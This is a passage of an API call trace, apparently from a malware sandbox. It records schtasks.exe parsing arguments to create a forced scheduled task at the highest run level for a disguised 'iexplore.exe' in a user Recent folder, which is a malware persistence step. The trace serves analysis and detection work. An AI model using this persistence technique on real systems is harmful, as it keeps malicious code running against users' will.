(dwErrCode=0x490) [0152.130] SetLastError (dwErrCode=0x490) [0152.130] SetLastError (dwErrCode=0x0) [0152.130] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0152.130] GetProcessHeap () returned 0x180000 [0152.130] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x4e) returned 0x19dd30 [0152.130] GetProcessHeap () returned 0x180000 [0152.130] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x19ccc0 [0152.130] SetLastError (dwErrCode=0x0) [0152.130] SetLastError (dwErrCode=0x0) [0152.130] lstrlenW (lpString="/rl") returned 3 [0152.130] lstrlenW (lpString="-/") returned 2 [0152.130] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0152.130] lstrlenW (lpString="?") returned 1 [0152.130] lstrlenW (lpString="?") returned 1 [0152.130] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.130] lstrlenW (lpString="rl") returned 2 [0152.130] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.130] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|?|") returned 3 [0152.131] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|rl|") returned 4 [0152.131] lstrlenW (lpString="|?|") returned 3 [0152.131] lstrlenW (lpString="|rl|") returned 4 [0152.131] SetLastError (dwErrCode=0x490) [0152.131] lstrlenW (lpString="create") returned 6 [0152.131] lstrlenW (lpString="create") returned 6 [0152.131] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.131] lstrlenW (lpString="rl") returned 2 [0152.131] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.131] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|create|") returned 8 [0152.131] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|rl|") returned 4 [0152.131] lstrlenW (lpString="|create|") returned 8 [0152.131] lstrlenW (lpString="|rl|") returned 4 [0152.131] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0152.131] SetLastError (dwErrCode=0x490) [0152.131] lstrlenW (lpString="delete") returned 6 [0152.131] lstrlenW (lpString="delete") returned 6 [0152.131] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.131] lstrlenW (lpString="rl") returned 2 [0152.131] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.131] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|delete|") returned 8 [0152.131] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|rl|") returned 4 [0152.131] lstrlenW (lpString="|delete|") returned 8 [0152.131] lstrlenW (lpString="|rl|") returned 4 [0152.131] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0152.132] SetLastError (dwErrCode=0x490) [0152.132] lstrlenW (lpString="query") returned 5 [0152.132] lstrlenW (lpString="query") returned 5 [0152.132] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.132] lstrlenW (lpString="rl") returned 2 [0152.132] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.132] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|query|") returned 7 [0152.133] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|rl|") returned 4 [0152.133] lstrlenW (lpString="|query|") returned 7 [0152.133] lstrlenW (lpString="|rl|") returned 4 [0152.133] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0152.133] SetLastError (dwErrCode=0x490) [0152.133] lstrlenW (lpString="change") returned 6 [0152.133] lstrlenW (lpString="change") returned 6 [0152.133] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.133] lstrlenW (lpString="rl") returned 2 [0152.133] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.133] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|change|") returned 8 [0152.133] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|rl|") returned 4 [0152.133] lstrlenW (lpString="|change|") returned 8 [0152.133] lstrlenW (lpString="|rl|") returned 4 [0152.134] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0152.134] SetLastError (dwErrCode=0x490) [0152.134] lstrlenW (lpString="run") returned 3 [0152.134] lstrlenW (lpString="run") returned 3 [0152.134] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.134] lstrlenW (lpString="rl") returned 2 [0152.134] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.134] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|run|") returned 5 [0152.134] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|rl|") returned 4 [0152.134] lstrlenW (lpString="|run|") returned 5 [0152.134] lstrlenW (lpString="|rl|") returned 4 [0152.134] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0152.134] SetLastError (dwErrCode=0x490) [0152.134] lstrlenW (lpString="end") returned 3 [0152.134] lstrlenW (lpString="end") returned 3 [0152.134] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.134] lstrlenW (lpString="rl") returned 2 [0152.134] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.134] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|end|") returned 5 [0152.134] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|rl|") returned 4 [0152.134] lstrlenW (lpString="|end|") returned 5 [0152.134] lstrlenW (lpString="|rl|") returned 4 [0152.134] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0152.134] SetLastError (dwErrCode=0x490) [0152.134] lstrlenW (lpString="showsid") returned 7 [0152.135] lstrlenW (lpString="showsid") returned 7 [0152.135] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.135] lstrlenW (lpString="rl") returned 2 [0152.135] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.135] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|showsid|") returned 9 [0152.135] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|rl|") returned 4 [0152.135] lstrlenW (lpString="|showsid|") returned 9 [0152.135] lstrlenW (lpString="|rl|") returned 4 [0152.135] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0152.135] SetLastError (dwErrCode=0x490) [0152.135] SetLastError (dwErrCode=0x490) [0152.135] SetLastError (dwErrCode=0x0) [0152.135] lstrlenW (lpString="/rl") returned 3 [0152.135] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0152.135] SetLastError (dwErrCode=0x490) [0152.135] SetLastError (dwErrCode=0x0) [0152.135] lstrlenW (lpString="/rl") returned 3 [0152.135] GetProcessHeap () returned 0x180000 [0152.135] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x8) returned 0x19dd90 [0152.135] GetProcessHeap () returned 0x180000 [0152.135] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x19ccf0 [0152.135] SetLastError (dwErrCode=0x0) [0152.135] SetLastError (dwErrCode=0x0) [0152.135] lstrlenW (lpString="HIGHEST") returned 7 [0152.135] lstrlenW (lpString="-/") returned 2 [0152.135] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0152.135] SetLastError (dwErrCode=0x490) [0152.135] SetLastError (dwErrCode=0x490) [0152.136] SetLastError (dwErrCode=0x0) [0152.136] lstrlenW (lpString="HIGHEST") returned 7 [0152.136] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0152.136] SetLastError (dwErrCode=0x490) [0152.136] SetLastError (dwErrCode=0x0) [0152.136] lstrlenW (lpString="HIGHEST") returned 7 [0152.136] GetProcessHeap () returned 0x180000 [0152.136] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x10) returned 0x19d560 [0152.136] GetProcessHeap () returned 0x180000 [0152.136] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x19cd20 [0152.136] SetLastError (dwErrCode=0x0) [0152.136] SetLastError (dwErrCode=0x0) [0152.136] lstrlenW (lpString="/f") returned 2 [0152.136] lstrlenW (lpString="-/") returned 2 [0152.136] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0152.136] lstrlenW (lpString="?") returned 1 [0152.136] lstrlenW (lpString="?") returned 1 [0152.136] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.136] lstrlenW (lpString="f") returned 1 [0152.136] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.136] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|?|") returned 3 [0152.136] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|f|") returned 3 [0152.136] lstrlenW (lpString="|?|") returned 3 [0152.136] lstrlenW (lpString="|f|") returned 3 [0152.136] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0152.136] SetLastError (dwErrCode=0x490) [0152.137] lstrlenW (lpString="create") returned 6 [0152.137] lstrlenW (lpString="create") returned 6 [0152.137] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.137] lstrlenW (lpString="f") returned 1 [0152.137] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.137] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|create|") returned 8 [0152.137] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|f|") returned 3 [0152.137] lstrlenW (lpString="|create|") returned 8 [0152.137] lstrlenW (lpString="|f|") returned 3 [0152.137] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0152.137] SetLastError (dwErrCode=0x490) [0152.137] lstrlenW (lpString="delete") returned 6 [0152.137] lstrlenW (lpString="delete") returned 6 [0152.137] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.137] lstrlenW (lpString="f") returned 1 [0152.137] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.137] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|delete|") returned 8 [0152.137] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|f|") returned 3 [0152.137] lstrlenW (lpString="|delete|") returned 8 [0152.137] lstrlenW (lpString="|f|") returned 3 [0152.137] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0152.137] SetLastError (dwErrCode=0x490) [0152.137] lstrlenW (lpString="query") returned 5 [0152.137] lstrlenW (lpString="query") returned 5 [0152.137] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.138] lstrlenW (lpString="f") returned 1 [0152.138] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.138] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|query|") returned 7 [0152.138] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|f|") returned 3 [0152.138] lstrlenW (lpString="|query|") returned 7 [0152.138] lstrlenW (lpString="|f|") returned 3 [0152.138] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0152.138] SetLastError (dwErrCode=0x490) [0152.138] lstrlenW (lpString="change") returned 6 [0152.138] lstrlenW (lpString="change") returned 6 [0152.138] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.138] lstrlenW (lpString="f") returned 1 [0152.138] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.138] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|change|") returned 8 [0152.138] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|f|") returned 3 [0152.138] lstrlenW (lpString="|change|") returned 8 [0152.138] lstrlenW (lpString="|f|") returned 3 [0152.138] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0152.138] SetLastError (dwErrCode=0x490) [0152.138] lstrlenW (lpString="run") returned 3 [0152.138] lstrlenW (lpString="run") returned 3 [0152.138] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.138] lstrlenW (lpString="f") returned 1 [0152.138] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.138] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|run|") returned 5 [0152.139] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|f|") returned 3 [0152.139] lstrlenW (lpString="|run|") returned 5 [0152.139] lstrlenW (lpString="|f|") returned 3 [0152.139] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0152.139] SetLastError (dwErrCode=0x490) [0152.139] lstrlenW (lpString="end") returned 3 [0152.139] lstrlenW (lpString="end") returned 3 [0152.139] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.365] lstrlenW (lpString="f") returned 1 [0152.365] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.365] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|end|") returned 5 [0152.365] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|f|") returned 3 [0152.365] lstrlenW (lpString="|end|") returned 5 [0152.365] lstrlenW (lpString="|f|") returned 3 [0152.365] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0152.365] SetLastError (dwErrCode=0x490) [0152.365] lstrlenW (lpString="showsid") returned 7 [0152.365] lstrlenW (lpString="showsid") returned 7 [0152.365] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.365] lstrlenW (lpString="f") returned 1 [0152.365] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.366] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|showsid|") returned 9 [0152.366] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|f|") returned 3 [0152.366] lstrlenW (lpString="|showsid|") returned 9 [0152.366] lstrlenW (lpString="|f|") returned 3 [0152.366] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0152.366] SetLastError (dwErrCode=0x490) [0152.366] SetLastError (dwErrCode=0x490) [0152.366] SetLastError (dwErrCode=0x0) [0152.366] lstrlenW (lpString="/f") returned 2 [0152.366] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0152.366] SetLastError (dwErrCode=0x490) [0152.366] SetLastError (dwErrCode=0x0) [0152.366] lstrlenW (lpString="/f") returned 2 [0152.366] GetProcessHeap () returned 0x180000 [0152.366] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x6) returned 0x19ddb0 [0152.366] GetProcessHeap () returned 0x180000 [0152.366] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x19cd50 [0152.366] SetLastError (dwErrCode=0x0) [0152.366] GetProcessHeap () returned 0x180000 [0152.366] GetProcessHeap () returned 0x180000 [0152.366] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19c1c0) returned 1 [0152.366] GetProcessHeap () returned 0x180000 [0152.366] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19c1c0) returned 0x8 [0152.366] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19c1c0 | out: hHeap=0x180000) returned 1 [0152.366] GetProcessHeap () returned 0x180000 [0152.366] GetProcessHeap () returned 0x180000 [0152.366] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19cbd0) returned 1 [0152.366] GetProcessHeap () returned 0x180000 [0152.366] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19cbd0) returned 0x20 [0152.367] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19cbd0 | out: hHeap=0x180000) returned 1 [0152.367] GetProcessHeap () returned 0x180000 [0152.367] GetProcessHeap () returned 0x180000 [0152.367] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19d4c0) returned 1 [0152.367] GetProcessHeap () returned 0x180000 [0152.367] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19d4c0) returned 0x12 [0152.367] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19d4c0 | out: hHeap=0x180000) returned 1 [0152.367] GetProcessHeap () returned 0x180000 [0152.367] GetProcessHeap () returned 0x180000 [0152.367] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19cc00) returned 1 [0152.367] GetProcessHeap () returned 0x180000 [0152.367] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19cc00) returned 0x20 [0152.367] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19cc00 | out: hHeap=0x180000) returned 1 [0152.367] GetProcessHeap () returned 0x180000 [0152.367] GetProcessHeap () returned 0x180000 [0152.367] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19dc90) returned 1 [0152.367] GetProcessHeap () returned 0x180000 [0152.368] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19dc90) returned 0x8 [0152.368] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19dc90 | out: hHeap=0x180000) returned 1 [0152.368] GetProcessHeap () returned 0x180000 [0152.368] GetProcessHeap () returned 0x180000 [0152.368] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19cc30) returned 1 [0152.368] GetProcessHeap () returned 0x180000 [0152.368] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19cc30) returned 0x20 [0152.368] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19cc30 | out: hHeap=0x180000) returned 1 [0152.368] GetProcessHeap () returned 0x180000 [0152.368] GetProcessHeap () returned 0x180000 [0152.368] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19d4e0) returned 1 [0152.368] GetProcessHeap () returned 0x180000 [0152.368] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19d4e0) returned 0x10 [0152.368] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19d4e0 | out: hHeap=0x180000) returned 1 [0152.368] GetProcessHeap () returned 0x180000 [0152.368] GetProcessHeap () returned 0x180000 [0152.368] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19cc60) returned 1 [0152.368] GetProcessHeap () returned 0x180000 [0152.368] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19cc60) returned 0x20 [0152.369] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19cc60 | out: hHeap=0x180000) returned 1 [0152.369] GetProcessHeap () returned 0x180000 [0152.369] GetProcessHeap () returned 0x180000 [0152.369] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19dcb0) returned 1 [0152.369] GetProcessHeap () returned 0x180000 [0152.369] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19dcb0) returned 0x8 [0152.369] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19dcb0 | out: hHeap=0x180000) returned 1 [0152.369] GetProcessHeap () returned 0x180000 [0152.369] GetProcessHeap () returned 0x180000 [0152.369] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19cc90) returned 1 [0152.369] GetProcessHeap () returned 0x180000 [0152.369] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19cc90) returned 0x20 [0152.370] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19cc90 | out: hHeap=0x180000) returned 1 [0152.370] GetProcessHeap () returned 0x180000 [0152.370] GetProcessHeap () returned 0x180000 [0152.370] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19dd30) returned 1 [0152.370] GetProcessHeap () returned 0x180000 [0152.370] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19dd30) returned 0x4e [0152.370] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19dd30 | out: hHeap=0x180000) returned 1 [0152.370] GetProcessHeap () returned 0x180000 [0152.370] GetProcessHeap () returned 0x180000 [0152.370] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19ccc0) returned 1 [0152.370] GetProcessHeap () returned 0x180000 [0152.370] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19ccc0) returned 0x20 [0152.371] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19ccc0 | out: hHeap=0x180000) returned 1 [0152.371] GetProcessHeap () returned 0x180000 [0152.371] GetProcessHeap () returned 0x180000 [0152.371] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19dd90) returned 1 [0152.371] GetProcessHeap () returned 0x180000 [0152.371] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19dd90) returned 0x8 [0152.371] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19dd90 | out: hHeap=0x180000) returned 1 [0152.371] GetProcessHeap () returned 0x180000 [0152.371] GetProcessHeap () returned 0x180000 [0152.371] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19ccf0) returned 1 [0152.371] GetProcessHeap () returned 0x180000 [0152.371] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19ccf0) returned 0x20 [0152.371] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19ccf0 | out: hHeap=0x180000) returned 1 [0152.371] GetProcessHeap () returned 0x180000 [0152.371] GetProcessHeap () returned 0x180000 [0152.371] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19d560) returned 1 [0152.371] GetProcessHeap () returned 0x180000 [0152.371] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19d560) returned 0x10 [0152.371] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19d560 | out: hHeap=0x180000) returned 1 [0152.372] GetProcessHeap () returned 0x180000 [0152.372] GetProcessHeap () returned 0x180000 [0152.372] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19cd20) returned 1 [0152.372] GetProcessHeap () returned 0x180000 [0152.372] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19cd20) returned 0x20 [0152.372] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19cd20 | out: hHeap=0x180000) returned 1 [0152.372] GetProcessHeap () returned 0x180000 [0152.372] GetProcessHeap () returned 0x180000 [0152.372] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19ddb0) returned 1 [0152.372] GetProcessHeap () returned 0x180000 [0152.372] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19ddb0) returned 0x6 [0152.372] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19ddb0 | out: hHeap=0x180000) returned 1 [0152.372] GetProcessHeap () returned 0x180000 [0152.372] GetProcessHeap () returned 0x180000 [0152.372] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19cd50) returned 1 [0152.372] GetProcessHeap () returned 0x180000 [0152.372] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19cd50) returned 0x20 [0152.373] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19cd50 | out: hHeap=0x180000) returned 1 [0152.373] GetProcessHeap () returned 0x180000 [0152.373] GetProcessHeap () returned 0x180000 [0152.373] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19b990) returned 1 [0152.373] GetProcessHeap () returned 0x180000 [0152.373] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19b990) returned 0x18 [0152.373] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19b990 | out: hHeap=0x180000) returned 1 [0152.373] SetLastError (dwErrCode=0x0) [0152.373] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0152.373] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0152.373] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0152.373] VerifyVersionInfoW (in: lpVersionInformation=0x13c030, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x13c030) returned 1 [0152.373] SetLastError (dwErrCode=0x0) [0152.373] lstrlenW (lpString="create") returned 6 [0152.373] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0152.373] SetLastError (dwErrCode=0x490) [0152.374] SetLastError (dwErrCode=0x0) [0152.374] lstrlenW (lpString="create") returned 6 [0152.374] GetProcessHeap () returned 0x180000 [0152.374] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x19cd50 [0152.374] GetProcessHeap () returned 0x180000 [0152.374] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x18) returned 0x19d560 [0152.374] _memicmp (_Buf1=0x19d560, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.374] GetProcessHeap () returned 0x180000 [0152.374] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x16) returned 0x19d4e0 [0152.374] SetLastError (dwErrCode=0x0) [0152.374] _memicmp (_Buf1=0x19ba50, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.374] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x19bbf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0152.374] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0152.374] GetProcessHeap () returned 0x180000 [0152.374] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x74e) returned 0x19dd30 [0152.374] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x19dd30 | out: lpData=0x19dd30) returned 1 [0152.374] VerQueryValueW (in: pBlock=0x19dd30, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x13c118, puLen=0x13c180 | out: lplpBuffer=0x13c118*=0x19e0cc, puLen=0x13c180) returned 1 [0152.375] _memicmp (_Buf1=0x19ba50, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.375] _vsnwprintf (in: _Buffer=0x19bbf0, _BufferCount=0x3f, 